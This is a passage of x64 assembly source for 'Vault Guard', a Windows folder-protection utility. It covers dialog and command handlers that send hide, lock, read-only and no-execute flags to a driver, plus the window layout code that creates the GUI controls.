UpdateStatusBar endp

; ==============================================================================
; _FlagsDlgApply  rcx=hwndDlg  →  void
; Reads 4 checkbox states → builds flags → applies via IOCTL + registry.
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_FlagsDlgApply proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 28h

    mov     rbx, rcx                    ; dialog hwnd

    ; Read checkbox states → accumulate flags in r12d
    xor     r12d, r12d                  ; flags = 0 (clear all bits first)

    mov     edx, IDC_CHK_HIDDEN
    mov     rcx, rbx
    call    IsDlgButtonChecked
    test    eax, eax
    jz      @fda_no_h
    or      r12d, VG_FLAG_HIDDEN         ; hide folder from shell
@fda_no_h:
    mov     edx, IDC_CHK_LOCKED
    mov     rcx, rbx
    call    IsDlgButtonChecked
    test    eax, eax
    jz      @fda_no_l
    or      r12d, VG_FLAG_LOCKED         ; block all file writes
@fda_no_l:
    mov     edx, IDC_CHK_READONLY
    mov     rcx, rbx
    call    IsDlgButtonChecked
    test    eax, eax
    jz      @fda_no_r
    or      r12d, VG_FLAG_READONLY       ; block writes, allow reads
@fda_no_r:
    mov     edx, IDC_CHK_NOEXEC
    mov     rcx, rbx
    call    IsDlgButtonChecked
    test    eax, eax
    jz      @fda_no_x
    or      r12d, VG_FLAG_NOEXEC         ; block process creation inside folder
@fda_no_x:

    call    EnsureDriverReady
    test    eax, eax
    jz      @fda_done

    test    r12d, r12d
    jz      @fda_zero_flags

    ; flags > 0: add/update path protection in driver + persist to registry
    mov     rdx, qword ptr [dlg_path_ptr]   ; target path
    mov     ecx, r12d                       ; new flag bitmask
    call    IoctlAddPath                    ; tell driver: protect this path
    mov     ecx, 1
    call    IoctlSetActive                  ; ensure protection is globally enabled
    call    CloseDevice
    mov     edx, r12d
    mov     rcx, qword ptr [dlg_path_ptr]
    call    ConfigSavePath                  ; persist flags to registry
    jmp     @fda_commit

@fda_zero_flags:
    ; flags = 0: unprotect this path only; keep zero entry in registry (retains row)
    mov     rdx, qword ptr [dlg_path_ptr]
    xor     ecx, ecx                        ; flags = 0 = unprotect
    call    IoctlAddPath
    call    CloseDevice
    xor     edx, edx
    mov     rcx, qword ptr [dlg_path_ptr]
    call    ConfigSavePath                  ; write flags=0 to registry

@fda_commit:
    mov     dword ptr [dlg_cur_flags], r12d ; remember for next change check

@fda_done:
    add     rsp, 28h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_FlagsDlgApply endp

; ==============================================================================
; _FlagsDlgProc  rcx=hwnd  rdx=msg  r8=wParam  r9=lParam  →  rax=TRUE/FALSE
; Dialog proc for protection flags dialog. Checkboxes apply changes live.
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_FlagsDlgProc proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 28h

    mov     rbx, rcx                    ; hwnd
    mov     esi, edx                    ; msg
    mov     rdi, r8                     ; wParam

    cmp     esi, WM_INITDIALOG
    je      @fdp_init
    cmp     esi, WM_COMMAND
    je      @fdp_cmd
    cmp     esi, WM_CLOSE
    je      @fdp_close
    xor     eax, eax
    jmp     @fdp_ret

@fdp_init:
    ; Dark title bar if dark mode active
    mov     r9d, 4                          ; cbAttribute = sizeof(BOOL)
    lea     r8, g_isDarkMode                ; pvAttribute
    mov     edx, DWMWA_USE_IMMERSIVE_DARK_MODE
    mov     rcx, rbx
    call    DwmSetWindowAttribute           ; set dark/light title bar

    ; Show current path in the STATIC label at top of dialog
    mov     r8, qword ptr [dlg_path_ptr]    ; path string set by _ShowFlagsDialog
    mov     edx, IDC_DLG_PATH
    mov     rcx, rbx
    call    SetDlgItemTextW

    mov     eax, 1
    jmp     @fdp_ret

@fdp_cmd:
    movzx   ecx, di                     ; low word of wParam = control ID
    cmp     ecx, IDC_CHK_HIDDEN
    jb      @fdp_cmd_ok
    cmp     ecx, IDC_CHK_NOEXEC
    ja      @fdp_cmd_ok
    ; Any of the 4 protection checkboxes toggled → re-apply all flags live
    mov     rcx, rbx
    call    _FlagsDlgApply              ; reads all checkboxes, IOCTLs, saves
    mov     eax, 1
    jmp     @fdp_ret

@fdp_cmd_ok:
    cmp     ecx, IDOK
    jne     @fdp_cmd_done
    xor     edx, edx
    mov     rcx, rbx
    call    EndDialog
    mov     eax, 1
    jmp     @fdp_ret

@fdp_cmd_done:
    xor     eax, eax
    jmp     @fdp_ret

@fdp_close:
    xor     edx, edx
    mov     rcx, rbx
    call    EndDialog
    mov     eax, 1

@fdp_ret:
    add     rsp, 28h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_FlagsDlgProc endp

; ==============================================================================
; _ShowFlagsDialog  rcx=hwndOwner  rdx=pathPtr  →  void
; Opens protection flags dialog; checkbox toggles apply changes live.
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 28h (+40)→0 ✓
; [rsp+20h] = 5th arg (lParam) for DialogBoxIndirectParamW.
; ==============================================================================
_ShowFlagsDialog proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 28h

    mov     rbx, rcx                    ; hwndOwner
    mov     qword ptr [dlg_path_ptr], rdx
    mov     dword ptr [dlg_cur_flags], 0

    xor     eax, eax
    mov     qword ptr [rsp+20h], rax    ; lParam = 0
    lea     r9, _FlagsDlgProc
    mov     r8, rbx
    lea     rdx, dlg_prot_tmpl
    mov     rcx, g_hInstance
    call    DialogBoxIndirectParamW

    add     rsp, 28h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_ShowFlagsDialog endp

; ==============================================================================
; _OnNotify  rcx=hwnd  rdx=NMHDR*  →  void
; Handles WM_NOTIFY from g_hwndLvPaths: NM_CLICK → inline checkbox toggle.
; Stack: push rbx,rsi,rdi,r12,r13,r14 (6×8=48)→rsp%16=8; sub 48h (+72)→0 ✓
; [rsp+40h] = temp slot for original_flags
; ==============================================================================
_OnNotify proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    sub     rsp, 48h

    mov     rbx, rcx            ; hwnd (unused after entry)
    mov     rsi, rdx            ; NMHDR*

    ; Only handle clicks on g_hwndLvPaths
    mov     rax, qword ptr [rsi + 0]    ; NMHDR.hwndFrom
    cmp     rax, g_hwndLvPaths          ; only handle clicks on protected paths list
    jne     @on_ret

    ; Only NM_CLICK (not NM_DBLCLK etc.)
    mov     eax, dword ptr [rsi + 16]   ; NMHDR.nCode (offset 16 in x64 NMHDR)
    cmp     eax, NM_CLICK
    jne     @on_ret

    ; iItem (row): must be >= 0 (not a header click)
    mov     r12d, dword ptr [rsi + NMIA_iItem]
    cmp     r12d, 0
    jl      @on_ret

    ; iSubItem (col): 1=Hidden 2=Locked 3=ReadOnly 4=NoExec
    mov     r13d, dword ptr [rsi + NMIA_iSubItem]
    cmp     r13d, 1
    jl      @on_ret                     ; col 0 = path text, not a flag
    cmp     r13d, 4
    jg      @on_ret

    ; map column to flag bit: col1->bit0 col2->bit1 col3->bit2 col4->bit3
    mov     ecx, r13d
    dec     ecx                         ; ecx = iSubItem - 1
    mov     r14d, 1
    shl     r14d, cl                    ; r14d = VG_FLAG_* to toggle

    ; Get current flags (lParam) for this row -- stored by RefreshLists
    mov     rdx, r12
    mov     rcx, g_hwndLvPaths
    call    _LvGetRowParam
    mov     edi, eax                    ; edi = original_flags (DWORD)

    ; lParam == 0 means this is the "pending" row (not yet applied to driver)
    mov     dword ptr [rsp + 40h], edi

    ; Toggle the clicked flag bit
    xor     edi, r14d                   ; edi = new_flags after toggle

    ; Get path text (col 0) into lv_text_buf
    lea     r9, lv_text_buf
    xor     r8d, r8d
    mov     rdx, r12
    mov     rcx, g_hwndLvPaths
    call    _LvGetItemText

    ; Clear pending marker only when this row's path matches g_pendingPath
    ; (lParam==0 is not a reliable sentinel: registry entries with flags=0 also have lParam=0)
    cmp     word ptr [g_pendingPath], 0
    je      @on_not_pending
    lea     rdx, lv_text_buf
    lea     rcx, g_pendingPath
    call    wcscmp_ci
    test    eax, eax
    jnz     @on_not_pending
    mov     word ptr [g_pendingPath], 0
@on_not_pending:

    call    EnsureDriverReady
    test    eax, eax
    jz      @on_ret

    test    edi, edi
    jz      @on_zero_flags

    ; flags > 0: add/update path protection
    lea     rdx, lv_text_buf
    mov     ecx, edi
    call    IoctlAddPath
    mov     ecx, 1
    call    IoctlSetActive
    call    CloseDevice
    mov     edx, edi
    lea     rcx, lv_text_buf
    call    ConfigSavePath
    jmp     @on_refresh

@on_zero_flags:
    ; All flags cleared: remove protection in driver; keep registry entry with flags=0
    lea     rdx, lv_text_buf
    xor     ecx, ecx                    ; flags = 0 = unprotect
    call    IoctlAddPath
    call    CloseDevice
    xor     edx, edx                    ; flags = 0
    lea     rcx, lv_text_buf
    call    ConfigSavePath              ; persist inactive entry so row survives restart

@on_refresh:
    call    RefreshLists

@on_ret:
    add     rsp, 48h
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_OnNotify endp

; ==============================================================================
; _OnCommand  rcx=hwnd  rdx=wParam(controlId in low word)  →  void
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12,r13,r14 (+48)→8; sub 38h (+56)→0 ✓
; ==============================================================================
_OnCommand proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    sub     rsp, 38h

    mov     rbx, rcx            ; hwnd
    movzx   rsi, dx             ; control ID (low word of wParam)

    ; ── Toggle ───────────────────────────────────────────────────────────────
    cmp     esi, IDC_BTN_TOGGLE
    jne     @oc_not_toggle

    call    EnsureDriverReady
    test    eax, eax
    jz      @oc_toggle_done

    test    g_protActive, 1
    jnz     @oc_toggle_disable
    ; Enable: paths loaded at startup via ConfigLoad; just flip the active bit
    mov     ecx, 1                      ; active = 1
    call    IoctlSetActive
    jmp     @oc_toggle_close
@oc_toggle_disable:
    xor     ecx, ecx                    ; active = 0
    call    IoctlSetActive
@oc_toggle_close:
    call    CloseDevice
    call    UpdateStatusBar
@oc_toggle_done:
    jmp     @oc_done

    ; ── Add Path ─────────────────────────────────────────────────────────────
@oc_not_toggle:
    cmp     esi, IDC_BTN_ADD_PATH
    jne     @oc_not_add_path

    ; Zero browse_info
    lea     rcx, browse_info
    xor     eax, eax
    mov     r10, BROWSEINFO_SIZE / 8
@oc_bi_zero:
    mov     qword ptr [rcx], rax
    add     rcx, 8
    dec     r10
    jnz     @oc_bi_zero

    lea     r10, browse_info
    mov     qword ptr [r10 + 0], rbx           ; hwndOwner
    lea     rax, str_add_path_title
    mov     qword ptr [r10 + 24], rax           ; lpszTitle
    mov     dword ptr [r10 + 32], (BIF_USENEWUI + BIF_BROWSEINCLUDEFILES)  ; folder or file

    lea     rcx, browse_info
    call    SHBrowseForFolderW
    test    rax, rax
    jz      @oc_add_path_done

    mov     r12, rax            ; pidl

    lea     rdx, path_pidl_buf
    mov     rcx, r12
    call    SHGetPathFromIDListW

    mov     rcx, r12
    call    CoTaskMemFree

    ; Stage path as "pending": shown with empty checkboxes until user ticks one
    lea     r10, path_pidl_buf          ; source: path resolved from PIDL
    lea     r11, g_pendingPath          ; destination: global pending path
    xor     ecx, ecx                    ; WCHAR index
@oc_copy_pending:
    movzx   eax, word ptr [r10 + rcx * 2]
    mov     word ptr [r11 + rcx * 2], ax
    test    ax, ax
    jz      @oc_copy_done               ; null terminator copied
    inc     ecx
    cmp     ecx, MAX_PATH
    jl      @oc_copy_pending
    mov     word ptr [r11 + rcx * 2], 0 ; force-null at MAX_PATH
@oc_copy_done:
    call    RefreshLists

@oc_add_path_done:
    jmp     @oc_done

    ; ── Restore (Remove) Path — multi-select, no confirmation ───────────────────
@oc_not_add_path:
    cmp     esi, IDC_BTN_REM_PATH
    jne     @oc_not_rem_path

    ; Bail if nothing selected
    mov     r9d, LVNI_SELECTED
    mov     r8d, -1
    mov     edx, LVM_GETNEXTITEM
    mov     rcx, g_hwndLvPaths
    call    SendMessageW
    cmp     rax, -1
    je      @oc_rem_path_nosel

@oc_rem_path_loop:
    ; Restart from -1: LVM_DELETEITEM shifts indices, so first selected is always stable
    mov     r9d, LVNI_SELECTED
    mov     r8d, -1
    mov     edx, LVM_GETNEXTITEM
    mov     rcx, g_hwndLvPaths
    call    SendMessageW
    cmp     rax, -1
    je      @oc_rem_path_done           ; no more selected items

    mov     r12, rax

    lea     r9, lv_text_buf
    xor     r8d, r8d
    mov     rdx, r12
    mov     rcx, g_hwndLvPaths
    call    _LvGetItemText

    ; Clear g_pendingPath if removing the pending row
    cmp     word ptr [g_pendingPath], 0
    je      @oc_rem_loop_not_pending
    lea     rdx, lv_text_buf
    lea     rcx, g_pendingPath
    call    wcscmp_ci
    test    eax, eax
    jnz     @oc_rem_loop_not_pending
    mov     word ptr [g_pendingPath], 0
@oc_rem_loop_not_pending:

    call    OpenDevice
    test    eax, eax
    jz      @oc_rem_loop_delete

    lea     rdx, lv_text_buf
    xor     ecx, ecx
    call    IoctlAddPath
    test    eax, eax
    jz      @oc_rem_loop_close
    lea     rcx, lv_text_buf
    call    ConfigRemovePath
@oc_rem_loop_close:
    call    CloseDevice

@oc_rem_loop_delete:
    xor     r9d, r9d
    mov     r8, r12
    mov     edx, LVM_DELETEITEM
    mov     rcx, g_hwndLvPaths
    call    SendMessageW
    jmp     @oc_rem_path_loop

@oc_rem_path_done:
    call    RefreshLists
    jmp     @oc_done

@oc_rem_path_nosel:
    mov     r9d, MB_OK + MB_ICONINFORMATION
    lea     r8, str_err_title
    lea     rdx, str_err_nosel
    mov     rcx, rbx
    call    MessageBoxW
    jmp     @oc_done

    ; ── Add Trusted ──────────────────────────────────────────────────────────
@oc_not_rem_path:
    cmp     esi, IDC_BTN_ADD_TRUSTED
    jne     @oc_not_add_trusted

    mov     r8d, MAX_PATH
    lea     rdx, trusted_edit_buf
    mov     rcx, g_hwndEditTrusted
    call    GetWindowTextW
    test    eax, eax
    jz      @oc_add_trusted_empty

    lea     rcx, trusted_edit_buf
    call    wcs_ascii_lower_inplace     ; normalize: driver compares lowercase names

    call    EnsureDriverReady
    test    eax, eax
    jz      @oc_done

    lea     rcx, trusted_edit_buf
    call    IoctlAddTrusted             ; add process name to driver allow-list
    test    eax, eax
    jz      @oc_add_trusted_close
    lea     rcx, trusted_edit_buf
    call    ConfigSaveTrusted           ; persist to HKCU\Software\VG\Trusted
    lea     rdx, str_blank
    mov     rcx, g_hwndEditTrusted
    call    SetWindowTextW              ; clear edit box after successful add
@oc_add_trusted_close:
    call    CloseDevice
    call    RefreshLists
    jmp     @oc_done

@oc_add_trusted_empty:
    mov     r9d, MB_OK + MB_ICONINFORMATION
    lea     r8, str_err_title
    lea     rdx, str_err_empty_proc
    mov     rcx, rbx
    call    MessageBoxW
    jmp     @oc_done

    ; ── Remove Trusted ───────────────────────────────────────────────────────
@oc_not_add_trusted:
    cmp     esi, IDC_BTN_REM_TRUSTED
    jne     @oc_done

    mov     rcx, g_hwndLvTrusted
    call    _LvGetSelIdx
    cmp     rax, -1
    je      @oc_done

    mov     r12, rax

    lea     r9, lv_text_buf
    xor     r8d, r8d
    mov     rdx, r12
    mov     rcx, g_hwndLvTrusted
    call    _LvGetItemText

    ; Registry key uses original casing; driver requires lowercase -- do both.
    lea     rcx, lv_text_buf
    call    ConfigRemoveTrusted         ; delete by original name from registry
    lea     rcx, lv_text_buf
    call    wcs_ascii_lower_inplace     ; normalize for driver

    call    OpenDevice
    test    eax, eax
    jz      @oc_done
    lea     rcx, lv_text_buf
    call    IoctlRemoveTrusted          ; zero-size send clears driver trusted list
    call    CloseDevice
    call    ConfigLoad                  ; reload remaining trusted entries to driver
    call    RefreshLists                ; re-populate ListView from registry

@oc_done:
    add     rsp, 38h
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_OnCommand endp

end

<<<FILE: kvc/vg/layout.asm>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-27 13:40:36
Size:     16.15 KB
; ==============================================================================
; Vault Guard - Window Layout
;
; Author: Marek Wesołowski (wesmar)
; Purpose: WM_CREATE handler — creates and configures all child controls.
;
; Exported:
;   _OnCreate(rcx=hwnd)  → void
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

; ── Win32 ─────────────────────────────────────────────────────────────────────
EXTRN CreateWindowExW           :PROC
EXTRN InitCommonControlsEx      :PROC
EXTRN SendMessageW              :PROC
EXTRN SetTimer                  :PROC
EXTRN DragAcceptFiles           :PROC
EXTRN ChangeWindowMessageFilterEx :PROC

; ── Sibling modules ───────────────────────────────────────────────────────────
EXTRN _ReadDarkMode             :PROC   ; theme.asm
EXTRN ApplyDarkMode             :PROC   ; theme.asm
EXTRN _ApplyThemeColors         :PROC   ; theme.asm
EXTRN _SendFont                 :PROC   ; theme.asm
EXTRN CreateFonts               :PROC   ; theme.asm
EXTRN _LvAddColumn              :PROC   ; listview.asm
EXTRN RefreshLists              :PROC   ; listview.asm
EXTRN UpdateStatusBar           :PROC   ; handlers.asm
EXTRN ConfigLoad                :PROC   ; config.asm

EXTRN str_btn_toggle_off        :WORD   ; handlers.asm
EXTRN g_wmTaskbarCreated        :DWORD  ; window.asm

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

str_buttoncls   dw 'B','U','T','T','O','N',0
str_staticcls   dw 'S','T','A','T','I','C',0
str_listviewcls dw 'S','y','s','L','i','s','t','V','i','e','w','3','2',0
str_editcls     dw 'E','D','I','T',0

str_btn_add_path    dw 'A','d','d',' ','p','a','t','h','.','.','.',0
str_btn_restore     dw 'R','e','m','o','v','e',' ','s','e','l','e','c','t','e','d',0
str_btn_add_proc    dw 'A','d','d',0
str_btn_remove_proc dw 'R','e','m','o','v','e',0

str_hdr_paths       dw 'P','r','o','t','e','c','t','e','d',' ','f','i','l','e','s','/','f','o','l','d','e','r','s',0
str_hdr_trusted     dw 'A','l','l','o','w','e','d',' ','a','p','p','s',' ','(','t','r','u','s','t','e','d',')',0

str_col_path        dw 'P','a','t','h',0
str_col_h           dw 'H','i','d','d','e','n',0
str_col_l           dw 'L','o','c','k','e','d',0
str_col_r           dw 'R','e','a','d','-','o','n','l','y',0
str_col_x           dw 'N','o',' ','r','u','n',0

str_col_process     dw 'P','r','o','c','e','s','s',' ','n','a','m','e',0

str_proc_hint       dw 'e','.','g','.',' ','t','o','t','a','l','c','m','d','6','4','.','e','x','e',0

; Author / copyright line shown at the bottom of the main window.
; Split across multiple dw lines to stay within MASM line-length limits.
; U+0142 = ł (l with stroke),  U+00AE = ® (registered sign)
str_author          dw 'A','u','t','h','o','r',':',' '
                    dw 'M','a','r','e','k',' '
                    dw 'W','e','s','o',0142h,'o','w','s','k','i'
                    dw ' ','-',' '
                    dw 'W','E','S','M','A','R',00AEh,' ','2','0','2','6'
                    dw ' ','-',' '
                    dw 'm','a','r','e','k','@','k','v','c','.','p','l'
                    dw ',',' '
                    dw 't','e','l','/','w','h','a','t','s','a','p','p'
                    dw ':',' ','+','4','8',' '
                    dw '6','0','7','-','4','4','0','-','2','8','3',0

; ==============================================================================
; DATA
; ==============================================================================
.data
    align 8

icc_ex  dd INITCOMMONCONTROLSEX_SIZE
        dd ICC_LISTVIEW_CLASSES

PUBLIC g_hwndEditTrusted
g_hwndEditTrusted   dq 0

; ==============================================================================
; CODE
; ==============================================================================
.code

PUBLIC _OnCreate

; ==============================================================================
; _OnCreate  rcx=hwnd  →  void
; Creates all child controls. Called from WM_CREATE.
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12,r13,r14 (+48)→8; sub 68h (+104)→0 ✓
; CreateWindowExW: 12 args → rcx..r9 (4) + 8 stack = [+20h..+58h]
; ==============================================================================
_OnCreate proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    sub     rsp, 68h

    mov     rbx, rcx            ; hwnd
    mov     g_hwndMain, rbx

    ; Init common controls
    lea     rcx, icc_ex
    call    InitCommonControlsEx

    ; Create fonts
    call    CreateFonts

    ; Detect system dark/light mode → g_isDarkMode
    call    _ReadDarkMode

    ; Apply DWM dark title bar + Mica based on g_isDarkMode
    mov     rcx, rbx
    call    ApplyDarkMode

    ; Accept drops from Explorer
    mov     edx, 1                          ; fAccept = TRUE
    mov     rcx, rbx
    call    DragAcceptFiles
    ; Allow WM_DROPFILES etc. to cross the UAC integrity boundary
    ; (elevated process can receive from non-elevated Explorer)
    xor     r9d, r9d                        ; pdwStatus = NULL
    mov     r8d, MSGFLT_ALLOW
    mov     edx, WM_DROPFILES
    mov     rcx, rbx
    call    ChangeWindowMessageFilterEx
    xor     r9d, r9d
    mov     r8d, MSGFLT_ALLOW
    mov     edx, WM_COPYDATA
    mov     rcx, rbx
    call    ChangeWindowMessageFilterEx
    xor     r9d, r9d
    mov     r8d, MSGFLT_ALLOW
    mov     edx, WM_COPYGLOBALDATA
    mov     rcx, rbx
    call    ChangeWindowMessageFilterEx

    ; Allow TaskbarCreated (registered msg, ID>=C000h) from Medium-IL Explorer
    ; to cross UIPI into this High-IL process. Fixes tray icon not appearing
    ; on logon when launched elevated via Task Scheduler.
    mov     edx, g_wmTaskbarCreated
    test    edx, edx
    jz      @oc_skip_taskbar_flt
    xor     r9d, r9d
    mov     r8d, MSGFLT_ALLOW
    mov     rcx, rbx
    call    ChangeWindowMessageFilterEx
@oc_skip_taskbar_flt:

    ; ── Toggle button: x=182 y=8 w=178 h=26 ─────────────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_BTN_TOGGLE
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 26
    mov     dword ptr [rsp+30h], 178
    mov     dword ptr [rsp+28h], 8
    mov     dword ptr [rsp+20h], 182
    mov     r9d, STY_BUTTON
    lea     r8, str_btn_toggle_off
    lea     rdx, str_buttoncls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     g_hwndBtnToggle, rax
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Paths header static: x=20 y=10 w=157 h=22 ───────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_STATIC_PATHS_HDR
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 22
    mov     dword ptr [rsp+30h], 157
    mov     dword ptr [rsp+28h], 10
    mov     dword ptr [rsp+20h], 20
    mov     r9d, STY_STATIC
    lea     r8, str_hdr_paths
    lea     rdx, str_staticcls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Add folder button: x=364 y=8 w=136 h=26 ─────────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_BTN_ADD_PATH
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 26
    mov     dword ptr [rsp+30h], 136
    mov     dword ptr [rsp+28h], 8
    mov     dword ptr [rsp+20h], 364
    mov     r9d, STY_BUTTON
    lea     r8, str_btn_add_path
    lea     rdx, str_buttoncls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Remove selected button: x=504 y=8 w=139 h=26 ────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_BTN_REM_PATH
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 26
    mov     dword ptr [rsp+30h], 139
    mov     dword ptr [rsp+28h], 8
    mov     dword ptr [rsp+20h], 504
    mov     r9d, STY_BUTTON
    lea     r8, str_btn_restore
    lea     rdx, str_buttoncls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Paths ListView: x=20 y=40 w=624 h=220 ───────────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_LV_PATHS
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 220
    mov     dword ptr [rsp+30h], 624
    mov     dword ptr [rsp+28h], 40
    mov     dword ptr [rsp+20h], 20
    mov     r9d, (WS_CHILD_VISIBLE + LVS_REPORT + LVS_SHOWSELALWAYS)
    xor     r8d, r8d
    lea     rdx, str_listviewcls
    mov     ecx, WS_EX_CLIENTEDGE
    call    CreateWindowExW
    mov     g_hwndLvPaths, rax

    ; Full-row select + grid lines + double-buffer (prevents flicker)
    mov     r9d, (LVS_EX_FULLROWSELECT + LVS_EX_GRIDLINES + LVS_EX_DOUBLEBUFFER)
    mov     r8d, (LVS_EX_FULLROWSELECT + LVS_EX_GRIDLINES + LVS_EX_DOUBLEBUFFER)
    mov     edx, LVM_SETEXTENDEDLISTVIEWSTYLE
    mov     rcx, g_hwndLvPaths
    call    SendMessageW

    ; Columns: Path(300) Hidden(80) Locked(80) Read-only(80) No run(80)  total=620=client
    mov     r9, offset str_col_path
    mov     r8d, 300
    xor     edx, edx
    mov     rcx, g_hwndLvPaths
    call    _LvAddColumn

    mov     r9, offset str_col_h
    mov     r8d, 80
    mov     edx, 1
    mov     rcx, g_hwndLvPaths
    call    _LvAddColumn

    mov     r9, offset str_col_l
    mov     r8d, 80
    mov     edx, 2
    mov     rcx, g_hwndLvPaths
    call    _LvAddColumn

    mov     r9, offset str_col_r
    mov     r8d, 80
    mov     edx, 3
    mov     rcx, g_hwndLvPaths
    call    _LvAddColumn

    mov     r9, offset str_col_x
    mov     r8d, 80
    mov     edx, 4
    mov     rcx, g_hwndLvPaths
    call    _LvAddColumn

    ; ── Trusted header: x=20 y=278 w=158 h=22 ───────────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_STATIC_TRUSTED_HDR
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 22
    mov     dword ptr [rsp+30h], 158
    mov     dword ptr [rsp+28h], 278
    mov     dword ptr [rsp+20h], 20
    mov     r9d, STY_STATIC
    lea     r8, str_hdr_trusted
    lea     rdx, str_staticcls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Trusted process edit: x=182 y=276 w=318 h=26 ────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_EDIT_TRUSTED
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 26
    mov     dword ptr [rsp+30h], 318
    mov     dword ptr [rsp+28h], 276
    mov     dword ptr [rsp+20h], 182
    mov     r9d, (WS_CHILD_VISIBLE + WS_TABSTOP + ES_AUTOHSCROLL)
    lea     r8, str_proc_hint
    lea     rdx, str_editcls
    mov     ecx, WS_EX_CLIENTEDGE
    call    CreateWindowExW
    mov     g_hwndEditTrusted, rax
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Trusted add button: x=504 y=276 w=66 h=26 ───────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_BTN_ADD_TRUSTED
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 26
    mov     dword ptr [rsp+30h], 66
    mov     dword ptr [rsp+28h], 276
    mov     dword ptr [rsp+20h], 504
    mov     r9d, STY_BUTTON
    lea     r8, str_btn_add_proc
    lea     rdx, str_buttoncls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Trusted remove button: x=574 y=276 w=68 h=26 ────────────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_BTN_REM_TRUSTED
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 26
    mov     dword ptr [rsp+30h], 68
    mov     dword ptr [rsp+28h], 276
    mov     dword ptr [rsp+20h], 574
    mov     r9d, STY_BUTTON
    lea     r8, str_btn_remove_proc
    lea     rdx, str_buttoncls
    xor     ecx, ecx
    call    CreateWindowExW
    mov     rcx, rax
    mov     rdx, g_hFontSmall
    call    _SendFont

    ; ── Trusted ListView: x=20 y=308 w=624 h=80 (3 items) ───────────────────
    mov     r14, g_hInstance
    mov     qword ptr [rsp+58h], 0
    mov     qword ptr [rsp+50h], r14
    mov     qword ptr [rsp+48h], IDC_LV_TRUSTED
    mov     qword ptr [rsp+40h], rbx
    mov     dword ptr [rsp+38h], 80
    mov     dword ptr [rsp+30h], 624
    mov     dword ptr [rsp+28h], 308
    mov     dword ptr [rsp+20h], 20
    mov     r9d, (WS_CHILD_VISIBLE + LVS_REPORT + LVS_SHOWSELALWAYS + LVS_SINGLESEL)
    xor     r8d, r8d
    lea     rdx, str_listviewcls
    mov     ecx, WS_EX_CLIENTEDGE
    call    CreateWindowExW
    mov     g_hwndLvTrusted, rax

    ; No grid lines for trusted list (single-column list)
    mov     r9d, (LVS_EX_FULLROWSELECT + LVS_EX_DOUBLEBUFFER)
